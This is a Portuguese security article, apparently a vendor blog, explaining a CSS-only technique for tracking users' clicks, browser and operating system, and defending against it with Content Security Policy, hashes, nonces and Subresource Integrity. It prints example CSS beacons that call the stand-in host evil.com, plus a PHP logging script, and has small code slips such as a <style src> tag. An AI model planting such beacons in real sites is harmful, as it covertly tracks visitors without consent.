No início de 2018, um estudante de física chamado Jan Böhmer criou um site que rastreia e registra os dados do usuário, incluindo cliques, movimentos do mouse, tipo de navegador e sistema operacional. Embora o rastreamento de usuários não seja novidade, sua abordagem não exige JavaScript, plug-ins ou bibliotecas externas. Na verdade, ele usa pouco mais que HTML simples e um pouco de CSS.
Como funciona
O conceito de Böhmer aproveita dois recursos do CSS: a capacidade de injetar conteúdo em elementos HTML e a capacidade de alterar o estilo depois que um usuário executa uma ação. O site funciona usando a propriedade de conteúdo para definir uma URL quando uma ação é executada. A URL chama um script que registra detalhes sobre as ações, que são passadas como parâmetros de URL. Definir esse URL com os seletores CSS :: before e :: after garante que o URL seja chamado apenas quando uma ação é executada, em vez de quando a primeira página é carregada.
Por exemplo, o seguinte CSS chama o URL sempre que o elemento #link é clicado:
#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}
O script de trilha contém um código que registra a hora do evento e a ação executada. Ele também pode ser usado para extrair o endereço IP do usuário, o agente do usuário e outras informações de identificação.
Aqui está um exemplo de como tal script pode parecer em PHP:
<?php
session_start();
// Prints the time that the script ran
print("Timestamp: " . time());
// Prints the action specified by the action parameter (in this case, "link_clicked")
print("Action: " . $_REQUEST['action']);
// Prints the user's IP address
print("IP Address: " . $_SERVER['REMOTE_ADDR']);
// Prints the user's browser agent
print("User Agent: " . $_SERVER['HTTP_USER_AGENT']);
?>
Detectando o tipo de navegador
Os usuários podem falsificar o agente do usuário do seu navegador, mas Böhmer contorna isso testando propriedades CSS específicas do navegador usando a regra @suportas. Por exemplo, a ação a seguir detecta navegadores Chrome detectando que -webkit-appearance está disponível e que -ms-ime-align não está disponível:
@supports (-webkit-appearance:none) and (not (-ms-ime-align:auto)){
#chrome_detect::after {
content: url("https://evil.com/track?action=browser_chrome");
}
}
Detectando o sistema operacional
A Böhmer até usa a detecção de fontes para tentar identificar o sistema operacional do usuário. Por exemplo, ao detectar se o navegador suporta a família de fontes Calibri, podemos supor que o navegador está sendo executado no Windows:
// stylesheet.css
@font-face {
font-family: Font1;
src: url("https://evil.com/track?action=font1");
}
#font_detection {
font-family: Calibri, Font1;
}
<!-- page.html -->
<div id="font_detection">test</div>
A prova de conceito de Böhmer pode identificar outros pontos de dados, incluindo o tamanho e a orientação da janela do navegador, se o usuário clicou em um link e quanto tempo o usuário passou pairando sobre um elemento.
Este ataque é extremamente difícil de evitar no navegador. A única maneira de impedi-lo completamente é desabilitar o CSS, o que pode tornar os sites inutilizáveis. No entanto, é possível reduzir as chances de um invasor explorar essa vulnerabilidade por meio do uso de uma política de segurança de conteúdo (CSP).
Atenuando Vazamentos de CSS Usando Políticas de Segurança de Conteúdo
Um CSP é um conjunto de regras que determina quais ações um navegador pode e não pode executar. Os CSPs são comumente usados para impedir o script entre sites (XSS) e outros ataques causados por navegadores que carregam scripts não confiáveis. Embora normalmente usados com arquivos JavaScript, os CSPs também podem se aplicar a estilos CSS e folhas de estilo.
Considere um site que usa uma folha de estilos hospedada por um provedor de terceiros. Um invasor compromete a folha de estilos e adiciona o rastreamento do usuário a um link na página:
// Malicious CSS
#link:active::after {
content: url("https://evil.com/track?action=link_clicked");
}
<!-- page.html -->
<a href="https://www.google.com" id="link">Click here</a>
Quando um usuário clica no link, o navegador chama o script de monitoramento hospedado em evil.com. Como isso é feito inteiramente por meio do navegador, o proprietário do site não tem conhecimento do exploit. Uma Política de segurança de conteúdo impede isso definindo regras sobre quais estilos são permitidos e de onde eles podem se originar.
Desativando estilos in-line
Desativar estilos in-line é um dos maiores benefícios de segurança fornecidos pelo CSP. Estilos inline são estilos declarados diretamente no documento HTML (ou definidos usando JavaScript), em vez daqueles carregados de uma folha de estilo. Estilos inline – especialmente estilos gerados dinamicamente ou estilos criados pelo usuário – são extremamente difíceis de proteger. É por isso que o CSP geralmente bloqueia todos os scripts e estilos inline e whitelists aqueles que foram especificamente aprovados.
A regra a seguir bloqueia todos os estilos inline, bem como as folhas de estilo hospedadas externamente:
Content-Security-Policy "style-src 'self';"
Verificando Estilos Usando Hashes e Nonces
Se o bloqueio de estilos inline não for viável, você ainda pode garantir a integridade do seu CSS usando hashes e nonces.
Um hash é uma string unidirecional gerada a partir do conteúdo de um arquivo ou string. Quando uma função de hashing é executada em uma folha de estilo ou estilo in-line, ela sempre retorna os mesmos resultados, a menos que o estilo seja alterado. Isso é útil para colocar na lista de permissões certos estilos e folhas de estilo inline, enquanto verifica se o estilo não foi modificado ou adulterado.
Content-Security-Policy "default-src 'self'; style-src 'sha256-MUNBNkRCNDMwQzZFNjI4Mzc2MzIzNTMwOEFCMEZEMzkxQjVGN0NGMEE5MjBFRDQ2N0MwNTgzNkUwRDIzNTdCRA=='"
// validstylesheet.css
#link {
color: blue;
Font-style: bold;
}
Nonces executar uma função semelhante como hashes. Com um nonce, um novo número aleatório é gerado para cada solicitação, tornando mais difícil para os invasores adivinharem seu valor. Isso evita uma falha chave de hashes, que é que é possível que mais de uma entrada gere o mesmo hash (conhecido como colisão).
Content-Security-Policy "default-src 'self'; style-src 'nonce-SGVsbG8gd29ybGQh"
// page.html
<style nonce="SGVsbG8gd29ybGQh">…</style>
Verificando folhas de estilo hospedadas externamente
As folhas de estilo geralmente são hospedadas em servidores de terceiros, como redes de distribuição de conteúdo (CDNs), mas isso abre um novo vetor de ataque. Se o CDN estiver comprometido, o que impede um invasor de substituir uma folha de estilo por sua própria versão modificada? A integridade de sub-recursos , ou SRI, tenta resolver isso.
O SRI usa hashes para verificar o conteúdo de scripts e folhas de estilo. O hash de cada arquivo é calculado e anexado ao atributo de integridade do elemento HTML. Quando o navegador faz o download do script ou da folha de estilo, ele calcula seu hash e compara-o ao valor armazenado no atributo. Se for uma correspondência, o navegador carrega o script ou estilo.
// page.html
<style src="https://cdn.example.com/styles/style.css" integrity="sha256-wFNeS+K3n/2TKRMFQ2v4iTFOSj+uwF7P/Lt98xrZ5Ro=" crossorigin="anonymous"></style>
// style.css
#link {
color: blue;
Font-style: bold;
}
Isso funciona sob a suposição de que a página da web é entregue a partir de uma fonte confiável (como um servidor de origem), enquanto o recurso é entregue a partir de uma fonte não confiável (como um terceiro). Se a página da Web e os recursos forem hospedados por terceiros, um invasor poderá simplesmente modificar a página da Web para corresponder ao hash do arquivo CSS de substituição.
Conclusão
Embora a capacidade de rastrear usuários via CSS não seja novidade , isso exige que pensemos de maneira diferente sobre privacidade e segurança na Web. O CSS é uma das linguagens fundamentais da Web moderna, e desabilitar o CSS para sites tornaria a maior parte da Web inutilizável. Content-Security-Policy é a melhor maneira de proteger contra ataques XSS e vazamentos de CSS. A Templarbit criou um “Fluxo de trabalho de política de segurança de conteúdo ágil” para facilitar a manutenção de cabeçalhos de CSP. Se sua equipe está lutando para implantar o CSP para seus aplicativos, inscreva-se para uma avaliação gratuita hoje e saiba mais sobre a abordagem da Templarbit sobre como solucionar vazamentos de CSS.